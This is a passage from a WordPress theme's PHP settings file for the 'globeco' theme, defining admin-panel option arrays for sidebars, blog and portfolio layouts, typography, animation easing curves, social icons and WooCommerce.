'img_header_pattern_image' => array(
'title' => esc_html__( 'Pattern image', 'globeco' ),
'type' => 'media',
'addrowclasses' => 'grid-col-12 disable box',
'url-atts' => 'readonly',
),
'img_header_parallaxify' => array(
'title' => esc_html__( 'Parallaxify image', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:img_header_parallax_options;"',
),
'img_header_parallax_options' => array(
'title' => esc_html__( 'Parallax options', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable box groups',
'layout' => array(
'img_header_scalar-x' => array(
'type' => 'number',
'title' => esc_html__( 'x-axis parallax intensity', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '2'
),
'img_header_scalar-y' => array(
'type' => 'number',
'title' => esc_html__( 'y-axis parallax intensity', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '2'
),
'img_header_limit-x' => array(
'type' => 'number',
'title' => esc_html__( 'Maximum x-axis shift', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '15'
),
'img_header_limit-y' => array(
'type' => 'number',
'title' => esc_html__( 'Maximum y-axis shift', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '15'
),
),
),
),
),// end of static img slider-section
'home_sidebars' => array(
'title' => esc_html__( 'Home Page Sidebar Layout', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'box inside-box groups',
'layout' => array(
'layout' => array(
'title' => esc_html__('Sidebar Position', 'globeco' ),
'type' => 'radio',
'addrowclasses' => 'grid-col-12',
'subtype' => 'images',
'value' => array(
'left' => array( esc_html__('Left', 'globeco' ), false, 'e:sb1;d:sb2', '/img/left.png' ),
'right' => array( esc_html__('Right', 'globeco' ), false, 'e:sb1;d:sb2', '/img/right.png' ),
'both' => array( esc_html__('Double', 'globeco' ), false, 'e:sb1;e:sb2', '/img/both.png' ),
'none' => array( esc_html__('None', 'globeco' ), true, 'd:sb1;d:sb2', '/img/none.png' )
),
),
'sb1' => array(
'title' => esc_html__('Select a sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-12 disable box clear',
'source' => 'sidebars',
),
'sb2' => array(
'title' => esc_html__('Select right sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-12 disable box',
'source' => 'sidebars',
),
),
),
)
),
'layout_options_page' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Page', 'globeco' ),
'layout' => array(
'page_sidebars' => array(
'title' => esc_html__( 'Page Sidebar Layout', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'box inside-box groups',
'layout' => array(
'layout' => array(
'type' => 'radio',
'subtype' => 'images',
'value' => array(
'left' => array( esc_html__('Left', 'globeco' ), false, 'e:sb1;d:sb2', '/img/left.png' ),
'right' => array( esc_html__('Right', 'globeco' ), false, 'e:sb1;d:sb2', '/img/right.png' ),
'both' => array( esc_html__('Double', 'globeco' ), false, 'e:sb1;e:sb2', '/img/both.png' ),
'none' => array( esc_html__('None', 'globeco' ), true, 'd:sb1;d:sb2', '/img/none.png' )
),
),
'sb1' => array(
'title' => esc_html__('Select a sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'disable box',
'source' => 'sidebars',
'value' => 'blog_right',
),
'sb2' => array(
'title' => esc_html__('Select right sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'disable box',
'source' => 'sidebars',
),
),
),
)
),
'layout_options_blog' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Blog', 'globeco' ),
'layout' => array(
'blog_sidebars' => array(
'title' => esc_html__( 'Blog Sidebars Settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'box inside-box groups grid-col-12',
'layout' => array(
'layout' => array(
'title' => esc_html__('Sidebar Position', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-4',
'value' => array(
'left' => array( esc_html__('Left', 'globeco' ), false, 'e:sb1;d:sb2', '/img/left.png' ),
'right' => array( esc_html__('Right', 'globeco' ), false, 'e:sb1;d:sb2', '/img/right.png' ),
'both' => array( esc_html__('Double', 'globeco' ), false, 'e:sb1;e:sb2', '/img/both.png' ),
'none' => array( esc_html__('None', 'globeco' ), true, 'd:sb1;d:sb2', '/img/none.png' )
),
),
'sb1' => array(
'title' => esc_html__('Select a sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'disable grid-col-4',
'source' => 'sidebars',
'value' => 'blog_right',
),
'sb2' => array(
'title' => esc_html__('Select right sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'disable grid-col-4',
'source' => 'sidebars',
),
),
),
'blog_content_align' => array(
'title' => 'Content Alignment',
'addrowclasses' => 'grid-col-4',
'type' => 'radio',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), true),
'center' => array( esc_html__( 'Center', 'globeco' ), false),
'right' => array( esc_html__( 'Right', 'globeco' ), false),
),
),
'blog_button_align' => array(
'title' => 'Button Alignment',
'type' => 'radio',
'addrowclasses' => 'grid-col-4',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), true),
'center' => array( esc_html__( 'Center', 'globeco' ), false),
'right' => array( esc_html__( 'Right', 'globeco' ), false),
),
),
'blog_button_name' => array(
'title' => esc_html__( 'Button Name', 'globeco' ),
'type' => 'text',
'value' => 'Read More',
'addrowclasses' => 'grid-col-6',
),
'def_blog_chars_count' => array(
'title' => esc_html__( 'Text Length', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6',
),
'def_blogtype' => array(
'title' => esc_html__( 'Blog Layout', 'globeco' ),
'desc' => esc_html__( 'Default Blog Layout', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-6',
'value' => array(
'1' => array( esc_html__('Large', 'globeco' ), true, '', '/img/large.png'),
'medium' => array( esc_html__('Medium', 'globeco' ), false, '', '/img/medium.png'),
'small' => array( esc_html__('Small', 'globeco' ), false, '', '/img/small.png'),
'2' => array( esc_html__('2 Cols', 'globeco' ), false, '', '/img/pinterest_2_columns.png'),
'3' => array( esc_html__('3 Cols', 'globeco' ), false, '', '/img/pinterest_3_columns.png'),
'4' => array( esc_html__('4 Cols', 'globeco' ), false, '', '/img/pinterest_4_columns.png'),
),
),
'blog_slug' => array(
'title' => esc_html__( 'Rename Blog', 'globeco' ),
'addrowclasses' => 'grid-col-6',
'type' => 'text',
'value' => ''
),
'crop_related_items' => array(
'title' => esc_html__( 'Crop Related Items of Single Posts', 'globeco' ),
'addrowclasses' => 'new_row checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'def_post_hide_meta_related_items' => array(
'title' => esc_html__( 'Hide meta (Related Items)', 'globeco' ),
'type' => 'select',
'atts' => 'multiple',
'addrowclasses' => 'grid-col-12',
'source' => array(
'' => array( esc_html__( 'None', 'globeco' ), false),
'title' => array( esc_html__( 'Title', 'globeco' ), false),
'cats' => array( esc_html__( 'Categories', 'globeco' ), false),
'tags' => array( esc_html__( 'Tags', 'globeco' ), true),
'author' => array( esc_html__( 'Author', 'globeco' ), true),
'likes' => array( esc_html__( 'Likes', 'globeco' ), true),
'date' => array( esc_html__( 'Date', 'globeco' ), false),
'comments' => array( esc_html__( 'Comments', 'globeco' ), true),
'read_more' => array( esc_html__( 'Read More', 'globeco' ), true),
'social' => array( esc_html__( 'Social Icons', 'globeco' ), true),
'excerpt' => array( esc_html__( 'Excerpt', 'globeco' ), false),
)
),
'blog_aspect_ratio' => array(
'title' => esc_html__( 'Keep Aspect Ratio', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox grid-col-12',
),
)
),
'layout_options_portfolio' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Portfolio', 'globeco' ),
'layout' => array(
'def_layout_portfolio' => array(
'title' => esc_html__( 'Portfolio Layout', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'tooltip' => array(
'title' => esc_html__( 'Portfolio Layout', 'globeco' ),
'content' => esc_html__( 'This option is applied to portfolio archive pages only', 'globeco' ),
),
'value' => array(
'1' => array( esc_html__('Large', 'globeco' ), false, '', '/img/large.png'),
'2' => array( esc_html__('2 Cols', 'globeco' ), false, '', '/img/pinterest_2_columns.png'),
'3' => array( esc_html__('3 Cols', 'globeco' ), false, '', '/img/pinterest_3_columns.png'),
'4' => array( esc_html__('4 Cols', 'globeco' ), true, '', '/img/pinterest_4_columns.png'),
),
),
'portfolio_mode' => array(
'title' => esc_html__( 'Display as', 'globeco' ),
'type' => 'select',
'source' => array(
'grid' => array('Grid', true), // Title, isselected, data-options
'grid_with_filter' => array('Grid with filter', false),
'carousel' => array('Carousel', false)
),
),
'def_cws_portfolio_data_to_show' => array(
'title' => esc_html__( 'Show Meta Data', 'globeco' ),
'type' => 'select',
'atts' => 'multiple',
'source' => array(
'title' => array( esc_html__( 'Title', 'globeco' ), false ),
'excerpt' => array( esc_html__( 'Excerpt', 'globeco' ), false ),
'cats' => array( esc_html__( 'Categories', 'globeco' ), true )
)
),
'portfolio_pagination_style' => array(
'title' => esc_html__( 'Pagination style', 'globeco' ),
'type' => 'radio',
'value' => array(
'paged' => array( 'Paged', true ),
'load_more' => array( 'Load More', false )
),
),
'portfolio_slug' => array(
'title' => esc_html__( 'Portfolio slug', 'globeco' ),
'type' => 'text',
'value' => 'portfolio',
),
)
),
'layout_options_staff' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Staff', 'globeco' ),
'layout' => array(
'def_cws_staff_layout' => array(
'title' => esc_html__( 'Staff Layout', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'tooltip' => array(
'title' => esc_html__( 'Staff Layout', 'globeco' ),
'content' => esc_html__( 'This option is applied to Staff archive pages only', 'globeco' ),
),
'value' => array(
'1' => array( esc_html__('Large', 'globeco' ), false, '', '/img/large.png'),
'2' => array( esc_html__('2 Cols', 'globeco' ), false, '', '/img/pinterest_2_columns.png'),
'3' => array( esc_html__('3 Cols', 'globeco' ), false, '', '/img/pinterest_3_columns.png'),
'4' => array( esc_html__('4 Cols', 'globeco' ), true, '', '/img/pinterest_4_columns.png'),
),
),
'def_cws_staff_data_to_hide' => array(
'title' => esc_html__( 'Hide Meta Data', 'globeco' ),
'type' => 'select',
'atts' => 'multiple',
'source' => array(
'deps' => array( esc_html__( 'Departments', 'globeco' ), false ),
'poss' => array( esc_html__( 'Positions', 'globeco' ), false ),
'excerpt' => array( esc_html__( 'Excerpt', 'globeco' ), false ),
'experience' => array( esc_html__( 'Experience', 'globeco' ), false ),
'email' => array( esc_html__( 'Email', 'globeco' ), false ),
'biography' => array( esc_html__( 'Biography', 'globeco' ), false ),
'link_button' => array( esc_html__( 'Link Button', 'globeco' ), true ),
'socials' => array( esc_html__( 'Social Links', 'globeco' ), false )
)
),
'staff_slug' => array(
'title' => esc_html__( 'Staff slug', 'globeco' ),
'type' => 'text',
'value' => 'staff',
),
)
),
// Uncomment this line to activate Classes
/* 'layout_options_classes' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Classes', 'globeco' ),
'layout' => array(
'def_cws_classes_layout' => array(
'title' => esc_html__( 'Classes Layout', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'value' => array(
'1' => array( esc_html__('Large', 'globeco' ), false, '', '/img/large.png'),
'2' => array( esc_html__('2 Cols', 'globeco' ), false, '', '/img/pinterest_2_columns.png'),
'3' => array( esc_html__('3 Cols', 'globeco' ), false, '', '/img/pinterest_3_columns.png'),
'4' => array( esc_html__('4 Cols', 'globeco' ), true, '', '/img/pinterest_4_columns.png'),
),
),
'def_cws_classes_data_to_hide' => array(
'title' => esc_html__( 'Hide Meta Data', 'globeco' ),
'type' => 'select',
'atts' => 'multiple',
'source' => array(
'title' => array( esc_html__( 'Title', 'globeco' ), false ),
'excerpt' => array( esc_html__( 'Excerpt', 'globeco' ), false ),
'cats' => array( esc_html__( 'Categories', 'globeco' ), false ),
'teach' => array( esc_html__( 'Teacher', 'globeco' ), false ),
'working_days' => array( esc_html__( 'Working Days', 'globeco' ), false ),
'time_events' => array( esc_html__( 'Time Events', 'globeco' ), false ),
'venue_events' => array( esc_html__( 'Venue Events', 'globeco' ), false ),
'read_more' => array( esc_html__( 'Read More Button', 'globeco' ), false )
)
),
'def_cws_classes_data_to_hide_related' => array(
'title' => esc_html__( 'Related Items Hide Meta Data', 'globeco' ),
'type' => 'select',
'atts' => 'multiple',
'source' => array(
'title' => array( esc_html__( 'Title', 'globeco' ), false ),
'excerpt' => array( esc_html__( 'Excerpt', 'globeco' ), false ),
'cats' => array( esc_html__( 'Categories', 'globeco' ), true ),
'teach' => array( esc_html__( 'Teacher', 'globeco' ), true ),
'working_days' => array( esc_html__( 'Working Days', 'globeco' ), true ),
'time_events' => array( esc_html__( 'Time Events', 'globeco' ), true ),
'venue_events' => array( esc_html__( 'Venue Events', 'globeco' ), true ),
'read_more' => array( esc_html__( 'Read More Button', 'globeco' ), true )
)
),
'classes_slug' => array(
'title' => esc_html__( 'Classes slug', 'globeco' ),
'type' => 'text',
'value' => 'classes',
),
)
),*/
'layout_options_testimonials' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Testimonials', 'globeco' ),
'layout' => array(
'def_layout_testimonials' => array(
'title' => esc_html__( 'Testimonials Layout', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'tooltip' => array(
'title' => esc_html__( 'Testimonials Layout', 'globeco' ),
'content' => esc_html__( 'This option is applied to testimonials archive pages only', 'globeco' ),
),
'value' => array(
'1' => array( esc_html__('Large', 'globeco' ), true, '', '/img/large.png'),
'2' => array( esc_html__('2 Cols', 'globeco' ), false, '', '/img/pinterest_2_columns.png'),
),
),
'testimonials_slug' => array(
'title' => esc_html__( 'Testimonials slug', 'globeco' ),
'type' => 'text',
'value' => 'testimonials',
),
)
),
'layout_options_sidebar_generator' => array(
'type' => 'tab',
'customizer' => array( 'show' => false ),
'icon' => array('fa', 'calendar-plus-o'),
'title' => esc_html__( 'Sidebars', 'globeco' ),
'layout' => array(
'sidebars' => array(
'type' => 'group',
'addrowclasses' => 'group single_field requirement',
'title' => esc_html__('Sidebar generator', 'globeco' ),
'button_title' => esc_html__('Add new sidebar', 'globeco' ),
'value' => array(
array('title' => 'Footer'),
array('title' => 'Blog Right'),
array('title' => 'Blog Left'),
array('title' => 'Page Right'),
array('title' => 'Page Left'),
array('title' => 'Side Panel'),
),
'layout' => array(
'title' => array(
'type' => 'text',
'value' => 'New Sidebar',
'atts' => 'data-role="title"',
'verification' => array (
'length' => array( array('!0'), esc_html__('Title should not be empty', 'globeco' )),
),
'title' => esc_html__('Sidebar', 'globeco' ),
)
)
),
'sticky_sidebars' => array(
'title' => esc_html__( 'Sticky sidebars', 'globeco' ),
'addrowclasses' => 'checkbox alt',
'atts' => 'checked',
'type' => 'checkbox',
)
)
),
)
), // end of sections
'typography_options' => array(
'type' => 'section',
'title' => esc_html__('Typography', 'globeco' ),
'icon' => array('fa', 'font'),
'layout' => array(
'menu_font_options' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Menu', 'globeco' ),
'layout' => array(
'menu-font' => array(
'title' => esc_html__('Menu Font', 'globeco' ),
'type' => 'font',
'font-color' => true,
'font-size' => true,
'font-sub' => true,
'line-height' => true,
'value' => array(
'font-size' => '17px',
'line-height' => '34px',
'color' => '#1b2048',
'font-family' => 'Roboto',
'font-weight' => array( '500', 'regular' ),
'font-sub' => array('latin'),
)
)
)
),
'header_font_options' => array(
'type' => 'tab',
'icon' => array('fa', 'font'),
'title' => esc_html__( 'Header', 'globeco' ),
'layout' => array(
'header-font' => array(
'title' => esc_html__('Header\'s Font', 'globeco' ),
'type' => 'font',
'font-color' => true,
'font-size' => true,
'font-sub' => true,
'line-height' => true,
'value' => array(
'font-size' => '55px',
'line-height' => '1.1818em',
'color' => GLOBECO_FIRST_COLOR,
'font-family' => 'Cabin',
'font-weight' => array( '700' ),
'font-sub' => array('latin'),
),
)
)
),
'body_font_options' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Body', 'globeco' ),
'layout' => array(
'body-font' => array(
'title' => esc_html__('Body Font', 'globeco' ),
'type' => 'font',
'font-color' => true,
'font-size' => true,
'font-sub' => true,
'line-height' => true,
'value' => array(
'font-size' => '16px',
'line-height' => '1.5em',
'color' => '#5d6881',
'font-family' => 'Roboto',
'font-weight' => array( 'regular', 'italic', '500', '500italic', '700', '700italic', '900' ),
'font-sub' => array('latin'),
)
)
)
),
'button_options' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Buttons', 'globeco' ),
'layout' => array(
'button-font' => array(
'title' => esc_html__('Button\'s Font', 'globeco' ),
'type' => 'font',
'font-color' => true,
'font-size' => true,
'font-sub' => true,
'line-height' => true,
'value' => array(
'font-size' => '18px',
'line-height' => '1.5em',
'color' => '#ffffff',
'font-family' => 'Roboto Condensed',
'font-weight' => array( '700' ),
'font-sub' => array('latin'),
)
)
)
),
)
), // end of sections
'help_options' => array(
'type' => 'section',
'title' => esc_html__('Maintenance & Help', 'globeco' ),
'icon' => array('fa', 'life-ring'),
'layout' => array(
'maintenance' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'calendar-plus-o'),
'title' => esc_html__( 'Maintenance', 'globeco' ),
'layout' => array(
'show_loader' => array(
'title' => esc_html__( 'ShowLoader', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox alt',
'type' => 'checkbox',
'atts' => 'checked data-options="e:loader_logo;e:overlay_loader_color"',
),
'loader_logo' => array(
'title' => esc_html__( 'Loader logo (Square)', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-12 disable',
'layout' => array(
'logo_is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'overlay_loader_color' => array(
'title' => esc_html__( 'Loader Color', 'globeco' ),
'atts' => 'data-default-color=""',
'value' => '',
'addrowclasses' => 'disable grid-col-12',
'type' => 'text',
),
'breadcrumbs' => array(
'title' => esc_html__( 'Show breadcrumbs', 'globeco' ),
'addrowclasses' => 'checkbox alt',
'atts' => 'checked',
'type' => 'checkbox',
),
'blog_author' => array(
'title' => esc_html__( 'Show post author', 'globeco' ),
'addrowclasses' => 'checkbox alt',
'atts' => 'checked',
'type' => 'checkbox',
),
'_theme_purchase_code' => array(
'title' => esc_html__( 'Theme purchase code', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Item Purchase Code', 'globeco' ),
'content' => esc_html__( 'Fill in this field with your Item Purchase Code in order to get the demo content and further theme updates.<br/> Please note, this code is applied to the theme only, it will not register Revolution Slider or any other plugins.', 'globeco' ),
),
'type' => 'text',
'value' => '',
'customizer' => array( 'show' => false )
),
)
),
'animation' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Animation', 'globeco' ),
'layout' => array(
'animation_curve_menu' => array(
'title' => esc_html__( 'Animation (Menu Anchors)', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-4',
'source' => array(
'linear' => array( esc_html__( '1. linear', 'globeco' ), false ),
'swing' => array( esc_html__( '2. swing', 'globeco' ), false ),
'easeInQuad' => array( esc_html__( '3. easeInQuad', 'globeco' ), false ),
'easeOutQuad' => array( esc_html__( '4. easeOutQuad', 'globeco' ), false ),
'easeInOutQuad' => array( esc_html__( '5. easeInOutQuad', 'globeco' ), false ),
'easeInCubic' => array( esc_html__( '6. easeInCubic', 'globeco' ), false ),
'easeOutCubic' => array( esc_html__( '7. easeOutCubic', 'globeco' ), true ),
'easeInOutCubic' => array( esc_html__( '8. easeInOutCubic', 'globeco' ), false ),
'easeInQuart' => array( esc_html__( '9. easeInQuart', 'globeco' ), false ),
'easeOutQuart' => array( esc_html__( '10. easeOutQuart', 'globeco' ), false ),
'easeInOutQuart' => array( esc_html__( '11. easeInOutQuart', 'globeco' ), false ),
'easeInQuint' => array( esc_html__( '12. easeInQuint', 'globeco' ), false ),
'easeOutQuint' => array( esc_html__( '13. easeOutQuint', 'globeco' ), false ),
'easeInOutQuint' => array( esc_html__( '14. easeInOutQuint', 'globeco' ), false ),
'easeInSine' => array( esc_html__( '15. easeInSine', 'globeco' ), false ),
'easeOutSine' => array( esc_html__( '16. easeOutSine', 'globeco' ), false ),
'easeInOutSine' => array( esc_html__( '17. easeInOutSine', 'globeco' ), false ),
'easeInExpo' => array( esc_html__( '18. easeInExpo', 'globeco' ), false ),
'easeOutExpo' => array( esc_html__( '19. easeOutExpo', 'globeco' ), false ),
'easeInOutExpo' => array( esc_html__( '20. easeInOutExpo', 'globeco' ), false ),
'easeInCirc' => array( esc_html__( '21. easeInCirc', 'globeco' ), false ),
'easeOutCirc' => array( esc_html__( '22. easeOutCirc', 'globeco' ), false ),
'easeInOutCirc' => array( esc_html__( '23. easeInOutCirc', 'globeco' ), false ),
'easeInElastic' => array( esc_html__( '24. easeInElastic', 'globeco' ), false ),
'easeOutElastic' => array( esc_html__( '25. easeOutElastic', 'globeco' ), false ),
'easeInOutElastic' => array( esc_html__( '26. easeInOutElastic', 'globeco' ), false ),
'easeInBack' => array( esc_html__( '27. easeInBack', 'globeco' ), false ),
'easeOutBack' => array( esc_html__( '28. easeOutBack', 'globeco' ), false ),
'easeInOutBack' => array( esc_html__( '29. easeInOutBack', 'globeco' ), false ),
'easeInBounce' => array( esc_html__( '30. easeInBounce', 'globeco' ), false ),
'easeOutBounce' => array( esc_html__( '31. easeOutBounce', 'globeco' ), false ),
'easeInOutBounce' => array( esc_html__( '32. easeInOutBounce', 'globeco' ), false ),
),
),
'animation_curve_scrolltop' => array(
'title' => esc_html__( 'Animation (ScrollTop)', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-4',
'source' => array(
'linear' => array( esc_html__( '1. linear', 'globeco' ), false ),
'swing' => array( esc_html__( '2. swing', 'globeco' ), false ),
'easeInQuad' => array( esc_html__( '3. easeInQuad', 'globeco' ), false ),
'easeOutQuad' => array( esc_html__( '4. easeOutQuad', 'globeco' ), false ),
'easeInOutQuad' => array( esc_html__( '5. easeInOutQuad', 'globeco' ), true ),
'easeInCubic' => array( esc_html__( '6. easeInCubic', 'globeco' ), false ),
'easeOutCubic' => array( esc_html__( '7. easeOutCubic', 'globeco' ), false ),
'easeInOutCubic' => array( esc_html__( '8. easeInOutCubic', 'globeco' ), false ),
'easeInQuart' => array( esc_html__( '9. easeInQuart', 'globeco' ), false ),
'easeOutQuart' => array( esc_html__( '10. easeOutQuart', 'globeco' ), false ),
'easeInOutQuart' => array( esc_html__( '11. easeInOutQuart', 'globeco' ), false ),
'easeInQuint' => array( esc_html__( '12. easeInQuint', 'globeco' ), false ),
'easeOutQuint' => array( esc_html__( '13. easeOutQuint', 'globeco' ), false ),
'easeInOutQuint' => array( esc_html__( '14. easeInOutQuint', 'globeco' ), false ),
'easeInSine' => array( esc_html__( '15. easeInSine', 'globeco' ), false ),
'easeOutSine' => array( esc_html__( '16. easeOutSine', 'globeco' ), false ),
'easeInOutSine' => array( esc_html__( '17. easeInOutSine', 'globeco' ), false ),
'easeInExpo' => array( esc_html__( '18. easeInExpo', 'globeco' ), false ),
'easeOutExpo' => array( esc_html__( '19. easeOutExpo', 'globeco' ), false ),
'easeInOutExpo' => array( esc_html__( '20. easeInOutExpo', 'globeco' ), false ),
'easeInCirc' => array( esc_html__( '21. easeInCirc', 'globeco' ), false ),
'easeOutCirc' => array( esc_html__( '22. easeOutCirc', 'globeco' ), false ),
'easeInOutCirc' => array( esc_html__( '23. easeInOutCirc', 'globeco' ), false ),
'easeInElastic' => array( esc_html__( '24. easeInElastic', 'globeco' ), false ),
'easeOutElastic' => array( esc_html__( '25. easeOutElastic', 'globeco' ), false ),
'easeInOutElastic' => array( esc_html__( '26. easeInOutElastic', 'globeco' ), false ),
'easeInBack' => array( esc_html__( '27. easeInBack', 'globeco' ), false ),
'easeOutBack' => array( esc_html__( '28. easeOutBack', 'globeco' ), false ),
'easeInOutBack' => array( esc_html__( '29. easeInOutBack', 'globeco' ), false ),
'easeInBounce' => array( esc_html__( '30. easeInBounce', 'globeco' ), false ),
'easeOutBounce' => array( esc_html__( '31. easeOutBounce', 'globeco' ), false ),
'easeInOutBounce' => array( esc_html__( '32. easeInOutBounce', 'globeco' ), false ),
),
),
'animation_curve_speed' => array(
'type' => 'number',
'title' => esc_html__( 'Animation Speed', 'globeco' ),
'placeholder' => esc_attr__( 'In milliseconds', 'globeco' ),
'value' => '300',
'addrowclasses' => 'grid-col-4',
),
'curves' => array(
'type' => 'info',
'addrowclasses' => 'grid-col-12',
'value' => '<img src="'. get_template_directory_uri() . '/img/easing.png" />',
'title' => esc_html__('Easing curves', 'globeco' )
),
'animation_page_blocks_speed' => array(
'type' => 'number',
'title' => esc_html__( 'Page Blocks Animation Speed', 'globeco' ),
'placeholder' => esc_attr__( 'In milliseconds', 'globeco' ),
'value' => '500',
'addrowclasses' => 'grid-col-12',
),
)
),
'help' => array(
'type' => 'tab',
'icon' => array('fa', 'calendar-plus-o'),
'title' => esc_html__( 'Help', 'globeco' ),
'layout' => array(
'help' => array(
'title' => esc_html__( 'Help', 'globeco' ),
'type' => 'info',
'subtype' => 'custom',
'value' => '<a class="cwsfw_info_button" href="http://globeco.cwsthemes.com/manual" target="_blank"><i class="fa fa-life-ring"></i> ' . esc_html__( 'Online Tutorial', 'globeco' ) . '</a> <a class="cwsfw_info_button" href="https://www.youtube.com/user/cwsvideotuts/playlists" target="_blank"><i class="fa fa-video-camera"></i> ' . esc_html__( 'Video Tutorial', 'globeco' ) . '</a>',
),
)
),
'crop' => array(
'type' => 'tab',
'icon' => array('fa', 'calendar-plus-o'),
'title' => esc_html__( 'Crop Images', 'globeco' ),
'layout' => array(
'crop_x' => array(
'title' => esc_html__( 'Crop X', 'globeco' ),
'type' => 'radio',
'addrowclasses' => 'grid-col-3',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), false, '' ),
'center' => array( esc_html__( 'Center', 'globeco' ), true, '' ),
'right' => array( esc_html__( 'Right', 'globeco' ), false, '' ),
),
),
'crop_y' => array(
'title' => esc_html__( 'Crop Y', 'globeco' ),
'type' => 'radio',
'addrowclasses' => 'grid-col-3',
'value' => array(
'top' => array( esc_html__( 'Top', 'globeco' ), false, '' ),
'center' => array( esc_html__( 'Center', 'globeco' ), true, '' ),
'bottom' => array( esc_html__( 'Bottom', 'globeco' ), false, '' ),
),
),
)
),
)
),
'social_options' => array(
'type' => 'section',
'title' => esc_html__('Social Networks', 'globeco' ),
'icon' => array('fa', 'share-alt'),
'layout' => array(
'social_cont' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Social Networks', 'globeco' ),
'layout' => array(
'tw-username' => array(
'title' => esc_html__( 'Twitter User name', 'globeco' ),
'value' => '',
'addrowclasses' => 'grid-col-12',
'type' => 'text',
),
'social' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box',
'layout' => array(
'location' => array(
'title' => esc_html__( 'Social Icons Location', 'globeco' ),
'type' => 'select',
'atts' => 'multiple',
'addrowclasses' => 'grid-col-12 box',
'source' => array(
'top_bar' => array( esc_html__( 'Top Bar', 'globeco' ), false, ''),
'menu' => array( esc_html__( 'Menu', 'globeco' ), false, ''),
'copyrights' => array( esc_html__( 'Copyrights area', 'globeco' ), true, ''),
'side_panel' => array( esc_html__( 'Side panel', 'globeco' ), true, ''),
),
),
'icons' => array(
'type' => 'group',
'addrowclasses' => 'group sortable grid-col-12 box',
'title' => esc_html__('Social Networks', 'globeco' ),
'button_title' => esc_html__('Add new social network', 'globeco' ),
'button_icon' => 'fa fa-plus',
'layout' => array(
'title' => array(
'type' => 'text',
'atts' => 'data-role="title"',
'addrowclasses' => 'grid-col-4',
'title' => esc_html__('Social account title', 'globeco' ),
),
'icon' => array(
'type' => 'select',
'addrowclasses' => 'fai grid-col-4',
'source' => 'fa',
'title' => esc_html__('Icon for this social contact', 'globeco' )
),
'url' => array(
'type' => 'text',
'addrowclasses' => 'grid-col-4',
'title' => esc_html__('Url to your account', 'globeco' ),
),
'color' => array(
'title' => esc_html__( 'Icon color', 'globeco' ),
'addrowclasses' => 'grid-col-3',
'atts' => 'data-default-color="#b9b9c1"',
'value' => '#b9b9c1',
'type' => 'text',
),
'hover_color' => array(
'title' => esc_html__( 'Icon color (Hover)', 'globeco' ),
'addrowclasses' => 'grid-col-3',
'atts' => 'data-default-color="' . GLOBECO_SECOND_COLOR . '',
'value' => GLOBECO_SECOND_COLOR,
'type' => 'text',
),
)
),
),
),
)
),
)
), // end of sections
);
if ( class_exists( 'woocommerce' ) ) {
$settings['woo_options'] = array(
'type' => 'section',
'title' => esc_html__( 'WooCommerce', 'globeco' ),
'icon' => array('fa', 'shopping-cart'),
'layout' => array(
'woo_options' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Woocommerce', 'globeco' ),
'layout' => array(
'woo_cart_enable' => array(
'title' => esc_html__( 'Show WooCommerce Cart', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox alt grid-col-12',
